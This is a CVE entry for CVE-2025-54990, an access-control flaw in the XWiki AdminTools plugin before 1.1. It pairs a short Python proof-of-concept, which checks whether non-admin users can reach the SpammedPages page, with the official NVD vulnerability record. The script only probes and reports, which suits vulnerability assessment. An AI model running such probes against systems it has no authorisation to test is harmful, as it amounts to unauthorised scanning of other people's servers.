CVE-2025-54990

# CVE-2025-54990 PoC - XWiki AdminTools Unauthorized Access # Target: XWiki instance with AdminTools plugin < 1.1 # Description: Non-admin users can access AdminTools.SpammedPages page import requests from urllib.parse import urljoin def check_vulnerability(base_url): """ Check if XWiki AdminTools is vulnerable to CVE-2025-54990 """ # Target page path target_path = "/xwiki/bin/view/AdminTools/SpammedPages" full_url = urljoin(base_url, target_path) headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.get(full_url, headers=headers, timeout=10, allow_redirects=False) # Check if page is accessible (HTTP 200 without admin redirect) if response.status_code == 200: # Check if response contains page content (not admin login redirect) if "AdminTools" in response.text and "SpammedPages" in response.text: print(f"[VULNERABLE] Page accessible at: {full_url}") print(f"Status Code: {response.status_code}") return True # Check for admin redirect (indicates patch applied) if response.status_code in [302, 303, 307, 308]: redirect_location = response.headers.get('Location', '') if 'login' in redirect_location.lower() or 'admin' in redirect_location.lower(): print(f"[PATCHED] Admin access required - redirect to: {redirect_location}") return False print(f"[INFO] Status Code: {response.status_code}") return False except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False # Usage example if __name__ == "__main__": target = "http://target-xwiki-instance.com" is_vulnerable = check_vulnerability(target)

{"cve": {"id": "CVE-2025-54990", "sourceIdentifier": "[email protected]", "published": "2025-11-18T23:15:48.513", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "XWiki AdminTools integrates administrative tools for managing a running XWiki instance. Prior to version 1.1, users without admin rights have access to AdminTools.SpammedPages. View rights are not restricted only to admin users for AdminTools.SpammedPages. While no data is visible to non admin users, the page is still accessible. This issue has been patched in version 1.1. A workaround involves setting the view rights for the AdminTools space to be only available for the XWikiAdminGroup."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://github.com/xwikisas/application-admintools/security/advisories/GHSA-v7r8-8p5c-h4xw", "source": "[email protected]"}]}}